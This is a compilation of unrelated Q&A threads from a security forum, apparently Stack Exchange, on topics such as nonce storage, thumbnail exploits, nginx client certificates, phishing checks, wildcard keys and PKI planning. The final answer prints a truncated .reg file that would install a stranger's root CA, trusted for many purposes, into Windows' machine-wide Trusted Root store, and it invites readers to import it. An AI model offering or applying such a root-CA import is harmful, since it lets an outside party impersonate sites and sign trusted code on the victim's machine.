The "best" solution (considering my circumstances), that I found so far, is to store the key in a php-file, that lives outside the document root. Is this an acceptable way of going about things? Are there better options, that don't require significant changes to my setup?

Where do I store the nonces?

In my understanding, nonces do not have to be kept secret. So, where do I keep my nonces?

e.g.: If I want to encrypt the strings for the table-columns "name", "address" and "email", I'd use 3 nonces, right? So, would I just store these 3 nonces in three additional columns of this same table (this somehow intuitively "feels" wrong)? Or would I store them somewhere else?

What column type should I use?

From what I've gathered, I should store the encrypted data in a column of some binary type. So would a BLOB be the right choice?

Also, what column type should I use to store nonces (if I do actually store them in a table)?

Thank You very much!

I am not an expert nor have I ever done anything with crypto before. I AM AN AMATEUR!!! Please do not take what I have to say as any knowledge or wisdom in this subject matter. Use at your own risk.

I actually have the same question. Much of the documentation and F.U.D. leave someone learning this stuff in a daze. I'm pretty sure this in intentional to help with security via obscurity and confusion.

Ok, jokes aside, I did want to expand on some concepts you outlined that I've discovered in my own journey down the same path. First off the plate is that the use of encryption and how you implement it is directly dependent on the use case. For example if you wish to address data at rest it will have a very different solution then exchanging secret messages over the wire. They all use the same algorithms and tools but the actual implementation for your app will differ.

Next, the key (in secretbox) is your life blood. It must be saved securely and hidden away. It is also permanent in the case of storing data at rest. In your example saving it outside the document root or possibly in a database behind a firewall might be best. Also many implementations will also encrypt the key with a passphrase (this is what GPG/PGP does) You could do this before writing it to disk and save the passphrase (randombytes_buf) in an environment variable.

The nonce is unique per encryption ...err... per ciphertext created. So in your case above I would serialize all three fields into one string and encrypt that with one nonce. Now to decrypt (read) you need to know the nonce. This is where the docs and blog posts get funny. I've only seen one example (libsodium-wrappers) where they concatenated nonce buffer with the ciphertext buffer making one large buffer with the nonce as a prefix.

I am presuming that another method would be to serialize both in a form parse-able by the reader. This is my question for the crypto world. Which is a better transport method?

One string/binary payload:

nonce
vvvvvv
bada55123456789abcdf
      ^^^^^^^^^^^^^^
      ciphertext

OR separate the two when serializing:

{
  "nonce": "bada55",
  "ciphertext": "123456789abcdef"
}


Can the previewable option in file managers execute malware? I am using Nemo file manager and I enabled the Previewable files option that shows video/photo files with their thumbnails:

I don't know exactly how files managers generate thumbnails, but I am wondering if the generation process can execute malware embedded in a media file?

Yes, it is possible for previews to execute malicious code. Previews are created by checking the file type, and generating a thumbnail. For images, it resizes them. For videos, it decodes them, seeks into them, and creates a snapshot. For HTML files, it renders them with something like WebKit, and saves a snapshot. While previewers do not intentionally execute code, if any of these complex decoders have vulnerabilities, they can potentially be exploited.

This is a big problem with gstreamer, where a vulnerability in the NSF decoder lead to arbitrary code execution. A similar issue was found in its FLIC decoder. The issues stemmed from the fact that the decoder to use was chosen based on the file contents, rather than the file extension. Because of this, a file with the .mp3 extension could actually contain an NSF file. NSF is the NES audio format, and it is implemented as 6502 bytecode (yes, bytecode). NSF files are played by running it in an actual emulator and converting the output into playable audio. Unfortunately, emulators are complex, and that allowed an exploit entirely in 6502 bytecode to compromise an Ubuntu installation.

While gstreamer is a special case, the fundamental issue where a previewer is able to parse a wide variety of formats simply by navigating to a directory is a nasty security issue. Previews/thumbnails should be disabled if you are concerned about this threat.

A NSF file, named time_bomb.mp3, exploiting previews on an Ubuntu system to open xcalc:


Is there any added security/vulnerabilities if you allow a "trusted-party" to vouch you are legit, if you were locked out of your account? I was reading  this answer on a question.
https://security.stackexchange.com/a/498/106817

Recently, at the OWASP AppSec 2010 conference in Orange County, Bill Cheswick from AT&T talked at length about this issue.
....
Allow a trusted party to vouch for the user, so he can change his password.

Granted, I know this is 6 years old at this point, but....
I was curious, is there really any added security to this?  By "trusted party" is that assumed to be a friend, or someone else who is already authorized, or is it a site/app admin?
If someone is locked out of their account so much that they cannot use their email, or even the backup email for their main email, then how would their password be reset to begin with?  Would it be given by this "Trusted source" to another email, or possibly over the phone/text (if friend).
So is there any way a hacker could hack Account A, which vouches Account B, and then do something malicious to Account B?  It says "Trusted-party" so if the party ends up not being trusted, what's the worst that could happen?
I know some games implement "Vouchers" which you gained stuff if you vouch a friend and bring them to the game, but I've never seen a voucher responsible in case their friend is locked out...
Any comments towards this?  Thanks.

Trusted party is exactly that. Someone who is trusted when he identifies you.

The most basic vouching happens when you go in front of the HelpDesk and tell them that you forgot your password and are now locked out of your account. Then the IT staff vouches that it's you and resets your password.

Now suppose that no domain admin was available when you went there, and you had to go after explaining your problem to their intern. Then the intern would be vouching that the request to change your password indeed came from Lasagna and not by an imposter.

Another common case would be that such requests have to go through a ticketing system. Since you can't open a ticket while locked out, another user (eg. your boss or any employee) opens the request for you, so they are vouching your request.

In fact, it is quite common in physical security that an organiser has to get out for vouching someone that is stopped by security trying to get into the location.

  If someone is locked out of their account so much that they cannot use their email, or even the backup email for their main email, then how would their password be reset to begin with? Would it be given by this "Trusted source" to another email, or possibly over the phone/text (if friend).

The trusted might provide a new email. And yes -assuming the request is indeed genuine- he could be given the new temporary password. The password should be marked as requiring a change on next login, anyway.


"unsupported certificate purpose" for nginx client auth Please concern the following setup: A client certificate is issued like this:
Root CA → Intermediate CA → Client Cert
Let's assume everything is fine up to here, the intermediate CA cert is properly signed by the root CA and the same for the client cert and the intermediate CA. The following files were produced:

root_ca.crt (containing only the root CA cert)
intermediate_ca.crt (containing only the intermediate CA cert signed by the root CA)
client.crt (containing only the client cert, signed by the intermediate CA)
client_key.pem (containing the private key belonging to the client cert)
ca_chain.pem, containing (in this order) the intermediate CA cert and root CA cert
client_ca_chain.pem, containing (in this order) the client cert, intermediate CA cert and root CA cert

Calling openssl x509 -in client.crt -noout -purpose gives:
Certificate purposes:
SSL client : Yes
SSL client CA : No
SSL server : No
SSL server CA : No
Netscape SSL server : No
Netscape SSL server CA : No
S/MIME signing : No
S/MIME signing CA : No
S/MIME encryption : No
S/MIME encryption CA : No
CRL signing : Yes
CRL signing CA : No
Any Purpose : Yes
Any Purpose CA : Yes
OCSP helper : Yes
OCSP helper CA : No
Time Stamp signing : No
Time Stamp signing CA : No

(I'm wondering a little about the CRL signing, Any Purpose and OCSP helper flags, but as I understood, they're OK and I can't get rid of them.)
Now, having configured an nginx server like this:
#...
ssl_client_certificate /path/to/ca_chain.pem;
ssl_verify_client on;
ssl_verify_depth 2;
#...

I will always get an error 400 and the following message when trying to access the site: client SSL certificate verify error: (26:unsupported certificate purpose) while reading client request headers.
(I can quickly reproduce this using curl --cert /path/to/client_ca_chain.pem  --key /path/to/client_key.pem --cacert /path/to/ca_chain.pem -k https://${myUrl} or less quickly using a gui browser.)
I have spent some hours trying to figure out what the problem is here, but I can't and also searching the web for it didn't bring me further. So I would greatly appreciate any help!

Indeed, as suggested, it is necessary to have a close look not only at the client certificate, but also at the other certs in the chain. In my case, it turned out, the the root cert was generated with a config entry like
extendedKeyUsage = serverAuth

This will result in the root CA having the purpose flags
SSL client : No
SSL client CA : No

(I think the second of which is the crucial one). So, when traversing the cert chain "upwards", nginx (or any other correctly working software) will find out, that the root CA itself was never "allowed" to sign client certs. At this time, it's not relevant, what the intermediate CA is "allowed" to do (in my case, both the flags were Yes indeed).
The solution is to completely omit the extendedKeyUsage line when creating your root CA, which will result a wide-purpose certificate. (This is even the suggested way! 1,2) If necessary, you could narrow down the purposes using extendedKeyUsage when creating the intermediate CA.
Anyway, in my case, it would also have been sufficient to use extendedKeyUsage = serverAuth,clientAuth for the root CA. But as stated, this is not the advised way to go.


What controls are necessary for encrypted data at rest be both available to authorized processes and secure from unauthorized use? I understand that good information security practices are to encrypt data at rest so that it is unusable in the event that it is accessed by unauthorized users. What I don't understand is how a computer system can provide this level of security while also making data available to authorized users. Assuming symmetric encryption, at some point a computer system (a DMBS, for example) is going to need to access a plaintext cryptographic key so that it can decrypt data for authorized users. What I don't understand is how a system can ensure that data is encrypted against unauthorized access, and that unauthorized access cannot also access the cryptographic key the systems needs available to it for authorized access. What security controls are typically used to secure a system like this?

Security measures are always about a control which protects or mitigates certain threats.

For data at rest, one threat is theft of the physical storage units containing the data. If the control is that the data is encrypted, then the data is not released as a result of that physical theft.

Another threat is unauthorised access while the data is in the context of the solution system. If the control is that the data is encrypted, then non-authorised users cannot access it. Authorised users can provide the decryption key as part of their login session, so that the encrypted data is only available to them in the context of an authorised session. Alternatively, depending on the access method, the data could be pulled back to authorised users in encrypted form and decrypted locally; this provides protection against compromise of the data server sessions.

You specifically ask "What I don't understand is how a system can ensure that data is encrypted against unauthorized access, and that unauthorized access cannot also access the cryptographic key the systems needs available to it for authorized access"

The answer is that unauthorised users do not have access to the login session within which the authorised users provide the decryption key.


How does HDCP detection work? What is the mechanism used by websites like HBO GO to detect HDCP bypassing/violation? How foolproof is this mechanism, as the logic lies on the client side?

It really depends on the device where the app is running (smartphone/tablet, set-top-box, smart TV...) but typically the detection happens in code running in a CPU mode (and using reserved memory) that cannot be accessed by regular apps. The most typical implementation is by means of a Trusted Execution Environment (TEE).


Is it dangerous to have unused Windows 10 Defender Firewall rules active? I recently discovered that a bunch of games I've installed in the past (from legit sources) have activated many Windows Defender firewall rules viewable from wf.msc. Some of the games I have since uninstalled, so I don't know why the rules are still there. Some of them seem to be pretty permissive.

I'd like to know if these pose any sort of a threat to my computer though. Are these old rules security holes something that could be/has been exploited in the past?

If the rules are specific to applications, no not really. Where exploitation can happen is when something listens on that port and the rule allows it. Ergo if nothing is listening, nothing can happen. So those games being uninstalled doesn't affect your security in a negative way if the rules are tied to the specific application(s) because nothing is listening on that port with that process identification pattern to allow action through the Windows Firewall.

For that rule to be exploited you'd already have to be so completely taken over that nothing could stop the virus/attacker at that point.

If the rule is NOT tied to a specific application, yes, it could be exploited if you download a virus. However for something to exploit the rule, the program would find that open port, listen on the port, and report home. Usually that behavior triggers antivirus. However at that point you've already gotten a virus that is attempting to find open unsecured ports it can listen with. Which means you already have a virus. Which is bad for other reasons.

It is however perfectly safe to delete those rules if that software is no longer around. It just means if you ever reinstall it it will ask for the permission again.


SSH Access to Personal Server sudo vs su I have a server running Debian, which is on the web, and has few traffic (I use it essentially for some coulds, calendars, etc. for me). In an attempt to secure its access, I made the following in the ssh configuration:

log-in with SSH-Keys only,
no root log-in allowed.

Then I log in as my main (and essentially only) user, and use su to switch to root when administrative operations are necessary.

Browsing around the site, I gathered that sudo rights to the user is a preferred option. But the main common argument for it, is when sharing administrative rights. Which is not an issue for me. I can see the following

su > sudo: two passwords required: the ssh-key to get in as a user and then the root password. So some form of double protection.
sudo > su: if sudo is set with NOPASSWD then no password is transmitted over the internet, and whatsmore no password is entered, defeating the keyloggers.
Direct SSH-Key to root: facilitate remote backup, auditing, etc. But seems less secure as root username is known and a single password (ssh-key) is required.

What is the most secure way to get to do administrative tasks on my own server?

Should I assume that SSH-Keys protection leave me only to choose between ssh-key theft or keylogging? And what is the most common of those? If that's relevant, I only connect to it either directly from my home computer or, from my mobile phone via another server (so that the ssh-key isn't stored on my phone).

Well If you are using sudo you can use the sudo file (only editable by those with permissions) to control what your user can do, for example you could turn your own user into a root with sudo -s or you could allow them to only use certain commands and even parameters you allow them to in the sudo file, so if I am understanding correctly (someone correct me if i am wrong)

The best choice is sudo and locking down / opening up certain rules for your user so it can perform certain tasks, you should only ever use root as a last resort for the saftey of your own system.

I forgot to add, having a password is the better way to go if you are constantly changing machines though this leaves you open to brute force attacks. unless obviously you use a fail2ban and often rotate passwords.

Using a key and a password is the best option but that means every device you use will need this key.


False positive security alert from Google? I just had this security alert about one of my Google accounts:

Device : Unknown device
Time : 25 minutes ago
Place : United States
IP Address : 2a00:1450:4864:20::51b

  Someone just used your password to try to connect to your account from an application not belonging to Google, we have blocked this person.

This alert arrived 30 minutes after I had made some security modifications and checks on my account. Moreover, I verified this IPV6 address, and it belongs to Google (I am using a VPN). Is it a false positive?

What did the security alert say? For example, did it say there was some suspicious account activity for this account?

Sometimes, Google sends these security alert messages so that you, the account owner, can help to verify if it was legitimate activity (in this case, you made some security related modifications, so it sounds like it was all legitimate?) or not. If it was legitimate, there is no need to worry.

If it was not legitimate, you can then take action like changing like your password for that account.

Updated based on the additional information provided

I think Google doesn't know that your two Google accounts are both belonging to you. So if you set up Google account A to access the email of Google account B, then I guess the first times it tries to retrieve the email, Google would alert the account holder of account B, in they were not aware of it. (maybe their password was stolen and now the attacker is trying to access their email without their knowledge)


Reminder: Reset your password - phishing or genuine Facebook email? An email claiming to be from facebook had the following content:

  Hi Andrew,
  You recently requested a new password for your Facebook account. It looks like we sent you an email with a link to reset your password a few days ago. This is a reminder that you can log back into your account at any time by clicking this link and entering in a new Facebook password.

  If you have any other questions, please visit our Help Center.
  Thanks,
  The Facebook Team

The link was

  this link

Is this a genuine email from Facebook that is ridiculously prone to abuse ("Can't remember what I did a few days ago - I'd better click that link!"), or a phishing email that's managed to guess my first name?

A simple way to check is just to get them to send another password reset and see what the links used for password recovery are, it would also be useful if you checked your emails and see if you did request one a few days ago, or check the trash folder if you deleted it. Here's the reset email they sent me:

> Hi ****,
>
> You recently asked to reset your Facebook password. To complete your
> request, please follow this link:
>
> https://www.facebook.com/recover.php?n=******&id=********&s=***
>
> Alternately, you may go to https://www.facebook.com/recover.php and
> enter the following password reset code:
>
> *******
>
> Please note: for your protection, this email has been sent to all the
> email addresses associated with your Facebook account.
>
> *Didn't Request This Change?* If you did not request a new password, let us know at:
>
> https://www.facebook.com/login/recover/disavow_reset_email.php?n=******&id=*********
>
> Thanks, The Facebook Team

The links actually point to what they say as well so it does seem Facebook use www.facebook.com/recover.php for their resets.

You can also look at the email headers, in particular the authentication results which check if the senders email actually comes from their domain, my email in Hotmail showed:

> Authentication-Results: hotmail.com; sender-id=pass (sender IP is
> 66.220.155.140)

And you can check that IP resolves to Facebook as well: https://ipdb.at/ip/66.220.155.140


How HTTPS and encryption of data (at application level/encrypted by developer) differ? HTTPS makes your data transmission secure by encrypting the traffic between the client and the server. Suppose an application has its own inbuilt encryption technique that encrypts data eg: (Login username and password).

Is HTTPS still needed if the username/password is encrypted at the application level?
How HTTPS make my data more secure even if I have encryption implemented at the software level?
How do both concepts differ? And how it can be security loophole if one of them is not implemented in a very critical environment?

HTTPS make your data transmission secure by encrypting the traffic between the client and the server.

Encryption is only one part of the security when transferring data. The second and similar important part is the authentication, i.e. making sure that you talk to the correct server. And TLS also detects modification of the data on top of encryption. This is necessary since many encryption methods will not realize if the encrypted data got changed but instead simply decrypt these data to something different. Also, TLS allows you to securely generate a unique encryption key for the connection so you don't need to somehow exchange a common secret key to all parties up-front.

  Is HTTPS still needed if the username/password is encrypted at the application level?

If all you need to protect are username and password and your protection is as strong as the one from TLS (i.e. strong encryption with unique and not pre-shared key, strong authentication, detection of modifications) then you don't need to use TLS too. But in many scenarios not only username and password are sensitive and need to be protected, but also the contents of the web site might worth being protected (like bank statements, health reports or similar) or even the URL you visit. And protection against modification is also needed, for example in online-banking. Also, often you have no infrastructure to securely exchange the encryption key and relying on a hard-coded key inside the application might be too insecure.

  How HTTPS make my data more secure even if I have encryption implemented at the software level?

If everything is already encrypted with the same strength as TLS offers (see last point) then TLS does not add more security.

  How do both concepts differ? And how it can be security loophole if one of them is not implemented in a very critical environment?

TLS provides end-to-end encryption between client and server application. With application level encryption you might add additional security if needed, for example by encrypting sensitive information not only during transfer but also at rest (file, database..).

A typical example to see these differences is mail delivery. TLS can be used when delivering the mail between each of the mail transfer agents (MTA). But on each MTA the mail is visible in plain since the TLS connection only protects the transfer between the MTA. If you want to add more security you can use S/MIME of PGP which add application-level encryption. This way the MTA can only see the encrypted mail and it can be decrypted by the final recipient only who has the encryption key (or can compute it).


What issues arise from sharing a SSL certificate's private key? Scenario: I am hosting a website for a my client, who we'll call S.  S owns the domain s.com and I own the servers that actually host the website.  S now wants to enable SSL on their website.

I have generated a private key and CSR on my server, and sent the CSR to S so that they can submit it to their CA.

However, like all clients, S is cheap.  They don't want to spend the money on a new certificate.  Instead, they want to give me their existing SSL certificate for *.s.com and its corresponding private key.  This certificate and key is already in use by S and some of S's other vendors.

I already know that this is a bad idea, but why?  What problems does this cause now and potentially in the future?

For bonus points, does sharing a private key like this cause any problems in the context of PCI standards?

There are several reasons why wildcard certificates are bad:

The same private key has to go on the systems that have different security levels, so your key is only as good as your least-protected system. Giving it out to third-party vendors is a really bad idea, as then it completely escapes your control.
You have to keep meticulous records that show exactly where your wildcard private key is installed, so that when you have to replace it, you don't have to play "Where is Waldo" across all your sites.
Most importantly, if the private key and wildcard certificate are stolen at any point, the attackers can then impersonate any system in that wildcard space. Common mistake is to say "we'll use wildcard certs on low-security systems, but named certs on all important systems" -- you have to do the exact opposite! If the attackers have *.s.com, they can impersonate any domain in .s.com space, regardless if it's using any other certificates. So if you have "www.s.com" with a wildcard and "login.s.com" with a one-off cert, attackers can impersonate "login.s.com" regardless of what's on "login.s.com".
The easiest way to take advantage of stolen wildcard keys is by DNS poisoning or via rogue wireless APs.

All that being said, you have to evaluate the risks. If your friend S is already giving out this wildcard cert and key to all the vendors, then refusing to accept it doesn't lower his risks in any significant way. You'll just appear obstinate and uncooperative and lose his business. Do your best to educate, but also understand that some people just won't care.

If, however, he's bound to conform to PCI-DSS, then I'm pretty sure he's not compliant, as I think you're supposed to have logs of all access to private encryption keys. I'll let others more familiar with PCI-DSS expand on that.


Is there a use-case that renders the password manager obsolete? Background

Trevor posed a question about the nature and validity of using a password manager, given the current prevailing model of authentication on most web resources.

Caveat: this is not the naive question about whether password managers are insecure in general, Trevor knows that question has been asked and answered many times over (it's all about relative risk).
Caveat: this is also not the routine question of the relative risk profile between password managers and memorization and manual entry alone. Trevor is familiar with that discussion as well.

Questions

Trevor asked a question which calls into dispute whether password managers are obsolete on the basis of functionality.

If a user can reliably select "I forgot my password" on most web sites, and have a password-reset initiated and a link sent to their e-mail inbox, then isn't their e-mail inbox serving the same functionality of a password manager?

What is the benefit of trying to remember a password, or storing a password in a manager if a user can reliably get a password reset link every time they wish to login to the site ?

Note

This question is not identical to If I include a Forgot Password service, then what's the point of using a password?.

Although similar, this question is intended to uncover what relative advantage (or disadvantage) exists when the use-case is compared to a password manager.

In the other question, the use-case is compared to rote memorization, and does not identify the fact that a password manager may very well be equivalent to simply forgetting passwords and using a one-time login.

Your argument is contingent upon using a web based service. If you use your password manager for SFTP, encrypted drives, desktop apps, etc. then you don't have a self service reset option.

If we then want to continue the argument only for web apps, here are some issues:

This requires you to use one email address, which may not be practical (work versus personal email should not be commingled) or may not be desired (anonymity concerns, organization, shared email for a club, etc.). If you use multiple email addresses this also reduces the impact of one of them being compromised.
This requires the service provider to require an email address, not all services request or require you to provide an email address.
I am not sure you want to count on reliability of a reset service. This may take significantly longer for the reset email to go through. The service provider may (should) rate limit such requests.
Password resets are not designed for this purpose. A password reset may be part of a comprehensive analysis to put the account on a higher alert for monitoring. The account was just reset, this is unusual, so apply more monitoring and checks because the reset may indicate an account takeover. Password resets are not generally considered the norm.
For a password reset there is often challenge questions, so these still have to be entered each time. This is needed because the email account cannot be known to be secure or isolated to the user. Depending on who you ask, this is sort of combining "something you know" (challenge questions) with "something you have" (the email account).
I would personally rather the attacker had to break into my computer rather then find a flaw in the email providers system, internal networks, etc. I don't really feel like my email on the Internet is secure or private.
Even if this was super fast, in every case and there were no challenge questions, its still tedious, requires switching tabs, etc. You may also get distracted by your other emails, things may accidentally go to SPAM. I use a keyboard shortcut for auto-type, very quick and transparent. My password manager also clears out my clipboard.

At the end of the day, I think I have more control over my desktop password manager, it applies in many more scenarios, and its easier and more reliable.


Is unclassified a classification? The answer many sources provide is "technically, no, unclassified is not a classification", but they often are referring specifically to Unclassified SBU or FOUO. Besides that... any answer that begins with "technically" whatever is obviously not an official source. Seems odd that there is so much ambiguity on what seems to be a subject with very clear and strict guidelines.

My first objection to this is on page 2 of this link. Notice... "REPORT SECURITY CLASSIFICATION: UNCLASSIFIED".

Second, NSA Type-1 encryption keys can have each classification "Unclassified", "Secret" and "Top Secret" for NIPR, SIPR and JWICS DoD networks respectively. Although Type-1 encryption keys are controlled items, the encryption key itself is designated to each level of classification. But I suppose that only implies that "Unclassified" is a classification since there is a key for it.

Third, if unclassified is not a classification then why do the SF 710 labels and (U) markers exist? They clearly identify the classification of the information and documents as Unclassified as opposed to Confidential, Secret or higher.

Sorry if the question seems trivial but there are way to many people who fall on both sides of the argument while there is only one right answer.

"Classified Information" means that the information is sensitive and requires a security clearance to view.

"Unclassified Information" is the opposite: information which is not considered sensitive and may be made available to anyone.

Marking an information explicitly as "unclassified" makes clear that it was evaluated and deemed harmless. When a document is not marked yet, it was not yet evaluated for which classification applies to it. That means the person handling it can not be sure how confidential it really is and should assume that it is confidential.


CA Certificate Lifecycle I'm planning to implement a new PKI with 2 tiers of CAs. I'll have end entity certificates with a lifetime of up to 5 years. This means my Issuing CA should be valid for 10 years, in order to be able to issue certificates with a validity of 5 years, after 5 years.

This blog recommends to renew the Issuing CA Certificate after 5 years, using the same private key and to renew the Issuing CA Certificate after 10 years, using a new private key. But doing so means, I have end entity certificates circulating for up to 15 years in my network, which were issued by the same private key.

Wouldn't it be better (more secure and even better to manage) to simply renew CA certs always after half of the lifetime using a new private key? Or is there any downside?

Five years is a long time in Information Security. Ten years will see the security world decide that some algorithms and keys are too easily compromised. I have a client who had implemented SHA1 hashes in each tier in order to support unpatched Windows XP using a PKI environment that was built within the last four years. We had to rehash each CA's certificate with SHA2 well before a new key or certificate would have been required. Plans change.

You should have plenty of time to research and decide on whether simply renewing or rekeying a certificate is appropriate at each stage. I don't think it's a bad plan to rekey since better, more accepted algorithms (or longer keys) will most likely exist when that span of years has past. The big hurdle with this approach is testing every application that relies on your PKI before rekeying or changing algorithms.

If you work in a Microsoft Windows environment, this is a great resource (although out of print and often expensive):
http://www.goodreads.com/book/show/2075482.Windows_Server_2008_PKI_and_Certificate_Security


Why is Parallels Plesk running on port 8443 > 1023? Parallels Plesk, a server administration software package, uses HTTP(S) on port 8443 (ref). I know that ports <1024 are only available for root. This means that if the server Plesk is using for some reason crashes, any user can start a new server on port 8443 and imitate Plesk (right?).

Of course, this user won't have the right certificate. But especially cheap hosts use a self-signed certificate for the Plesk panel anyway, so nobody would notice if it's a different self-signed certificate.

Supposing someone could get access to some normal account on the server, and he could somehow (possibly being lucky) get the Plesk server to crash, he could imitate the Plesk panel and steal the credentials of users who are logging in.

All of this wouldn't be a problem if Parallels Plesk would be using a port under 1024. Am I right in this? Is this a real issue, or does it not really matter?

While Linux has a file security model similar to that of early Unix, I think there has been a change in how the computers are used. In the 70's and 80's, Unix was run on large computers hosting many concurrent users. For example, a single computer could be used by all students in a computer science program. With that type of usage, protecting machine resources from other users was paramount.

Now Linux is frequently run as a single-user OS or in server situations where usage is heavily regulated. As such, protecting resources from malicious users isn't really much of a concern. Personally, I can't recall the last time I was on a Linux machine and didn't have full sudo privileges.

I think that as Linux/Unix's usage model changed, worrying about root-only accessible sockets has become less of a concern. This doesn't mean that it shouldn't be thought about as, while many machines effectively have one user or a small group of cooperating users (eg: for server maintenance), processes should be be run with least privilege. Still, fewer actual users has led to a loosening of security processes.

None of this means that Plesk running on an unprotected port is safe given your deployment model. If you are on a shared host, this deployment of Plesk would make me somewhat concerned. That said, shared hosts have lots of security concerns and maybe this isn't the worst one. You'll have to make the decision as to whether this deployment model is too great a risk for you or not.


How to generate self-signed EV SSL Certificate? I configured XAMPP / Windows on my laptop so that this URL:

https://www.supersite.com/

points to XAMPP / localhost rather look elsewhere.

I basically generated a self-signing certificate, imported it into Windows and changed Windows hosts file.

It works just fine in Chrome, but it's only a "normal" SSL certificate, I'd like to generate a self-signed EV certificate (looks better / more pro., I need to present this to my customers soon)

Is this possible? If so, how?

I would apologize first for my poor English, and some of my explanation may be a bit confusing XD

EV means Extended Validation, which must be validated by a trusted CA.

However, you are talking about self-signed certificates, I only assume that you just want to active the green address bar in the browser's UI.

It is possible to self-sign a EV certificate which can activate the green address bar in Edge and Internet Explorer, but not possible in FireFox or Chrome.

As https://stackoverflow.com/a/36780644/10151783 says, there are some requirements for a EV certificate:

That the certificate has a Policy Identifier that is known to be an EV policy.
The certificate's root's thumbprint matches a pinned policy identifier.
The certificate must pass online revocation checking.
If the certificate's notBefore (issuance date) is after 1/1/2015,
the certificate must support Certificate Transparency.
The certificate must be issued by a trusted root.
That all chains are valid if there are multiple trust paths.

I will devide these requirements into requirements for Leaf Certificate, Intermediate Certificate, Root Certificate and PKI Infrastructure.

Requirements for PKI Infrastructure

Either OCSP or CRL Responder is available, in order for browers to check revocation status.
Self define a OID for EV certificates (it can be any OID, any randomly generated one is ok, but you need to remember this EV-OID)

Requirements for Root Certificate

The Basic Contraints Extention must be CA

Requirements for Intermediate Certificate

The Basic Contraints Extention must be CA
Either OCSP or CRL URL is set in the extension, in order for browers to check revocation status.
The Extended Key Usage Extension must contain ServerAuth

Requirements for Leaf Certificate

The Basic Contraints Extention must be End Entity
Either OCSP or CRL URL is set in the extension, in order for browers to check revocation status.
The Extended Key Usage Extension must contain ServerAuth
The Certificate Policy Extension must have OID 2.23.140.1.1 and the self-defined EV-OID
The Subject Distinguished Name (X509Name) must contain CN, O, L, ST, C, SerialNumber, jurisdictionStateOrProvinceName, jurisdictionCountryName
It must not be a wildcard certificate
It must contain SubjectAltNames Extension, and embed the domain name (FQDN) into this Extension.

And the last thing to do is to add your Root Certificate in to the Trusted Root and set your EV-OID.

In Windows, run certlm.msc (or certmgr.msc), browse to Local---Trusted Root and import your root certificate. Then double click to view your certificate, select Details tab, and press Edit Properties. Select Extended Validation Tab, and add your EV-OID there.

After these operations, use your Edge or IE to browse your website, you will be able to see the green address bar.

I've self-signed some "EV" certificates in this way. You can import the Reg File to trust my root certificate (I will paste it below) and use IE or Edge to visit https://pki.jemmylovejenny.tk to view the EV green address bar.

Note: I've embedded the EV-OID in the Reg File, so that you needn't set my custome EV-OID by yourself.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E403A1DFC8F377E0F4AA43A83EE9EA079A1F55F2]
"Blob"=hex:09,00,00,00,01,00,00,00,ca,00,00,00,30,81,c7,06,0a,2b,06,01,04,01,\
  82,37,40,01,01,06,0a,2b,06,01,04,01,82,37,0a,03,2a,06,05,67,81,05,08,03,06,\
  05,67,81,05,08,02,06,05,67,81,05,08,01,06,08,2b,06,01,05,05,07,03,09,06,08,\
  2b,06,01,05,05,08,02,02,06,0a,2b,06,01,04,01,82,37,0a,03,0c,06,0a,2b,06,01,\
  04,01,82,37,0a,03,0a,06,0a,2b,06,01,04,01,82,37,0a,05,01,06,0a,2b,06,01,04,\
  01,82,37,14,02,02,06,0a,2b,06,01,04,01,82,37,0a,06,02,06,0a,2b,06,01,04,01,\
  82,37,0a,06,01,06,0a,2b,06,01,04,01,82,37,0a,03,04,06,08,2b,06,01,05,05,07,\
  03,08,06,08,2b,06,01,05,05,07,03,04,06,08,2b,06,01,05,05,07,03,03,06,08,2b,\
  06,01,05,05,07,03,02,06,08,2b,06,01,05,05,07,03,01,5c,00,00,00,01,00,00,00,\
  04,00,00,00,00,10,00,00,03,00,00,00,01,00,00,00,14,00,00,00,e4,03,a1,df,c8,\
  f3,77,e0,f4,aa,43,a8,3e,e9,ea,07,9a,1f,55,f2,19,00,00,00,01,00,00,00,10,00,\
  00,00,79,d8,e3,98,56,b0,54,09,13,de,fb,48,5e,73,ed,62,14,00,00,00,01,00,00,\
  00,14,00,00,00,05,25,86,2f,65,36,a1,e5,9d,9e,ca,5c,09,19,ad,0e,3d,96,26,1d,\
  0f,00,00,00,01,00,00,00,14,00,00,00,52,bf,46,22,03,12,1a,b2,71,f4,8f,f1,a3,\
  2d,37,3f,d9,f1,23,99,04,00,00,00,01,00,00,00,10,00,00,00,dc,91,1e,8d,a3,a1,\
  86,bb,4d,52,ee,c0,e5,7b,51,55,53,00,00,00,01,00,00,00,23,00,00,00,30,21,30,\
  1f,06,09,60,86,48,01,a4,a2,27,02,01,30,12,30,10,06,0a,2b,06,01,04,01,82,37,\
  3c,01,01,03,02,00,c0,20,00,00,00,01,00,00,00,d3,05,00,00,30,82,05,cf,30,82,\
  03,b7,a0,03,02,01,02,02,04,1e,b1,32,d5,30,0d,06,09,2a,86,48,86,f7,0d,01,01,\
  05,05,00,30,76,31,0b,30,09,06,03,55,04,06,13,02,43,4e,31,23,30,21,06,03,55,\
  04,0a,0c,1a,4a,65,6d,6d,79,4c,6f,76,65,4a,65,6e,6e,79,20,50,4b,49,20,53,65,\
  72,76,69,63,65,31,1e,30,1c,06,03,55,04,0b,0c,15,70,6b,69,2e,6a,65,6d,6d,79,\
  6c,6f,76,65,6a,65,6e,6e,79,2e,74,6b,31,22,30,20,06,03,55,04,03,0c,19,4a,65,\
  6d,6d,79,4c,6f,76,65,4a,65,6e,6e,79,20,45,56,20,52,6f,6f,74,20,43,41,30,20,\
  17,0d,30,30,30,31,30,31,30,30,30,30,30,30,5a,18,0f,32,30,39,39,31,32,33,31,\
  32,33,35,39,35,39,5a,30,76,31,0b,30,09,06,03,55,04,06,13,02,43,4e,31,23,30,\
  21,06,03,55,04,0a,0c,1a,4a,65,6d,6d,79,4c,6f,76,65,4a,65,6e,6e,79,20,50,4b,\
  49,20,53,65,72,76,69,63,65,31,1e,30,1c,06,03,55,04,0b,0c,15,70,6b,69,2e,6a,\
  65,6d,6d,79,6c,6f,76,65,6a,65,6e,6e,79,2e,74,6b,31,22,30,20,06,03,55,04,03,\
  0c,19,4a,65,6d,6d,79,4c,6f,76,65,4a,65,6e,6e,79,20,45,56,20,52,6f,6f,74,20,\
  43,41,30,82,02,22,30,0d,06,09,2a,86,48,86,f7,0d,01,01,01,05,00,03,82,02,0f,\
  00,30,82,02,0a,02,82,02,01,00,b5,bf,16,4c,e2,67,33,2d,80,ff,ed,87,e9,49,04,\
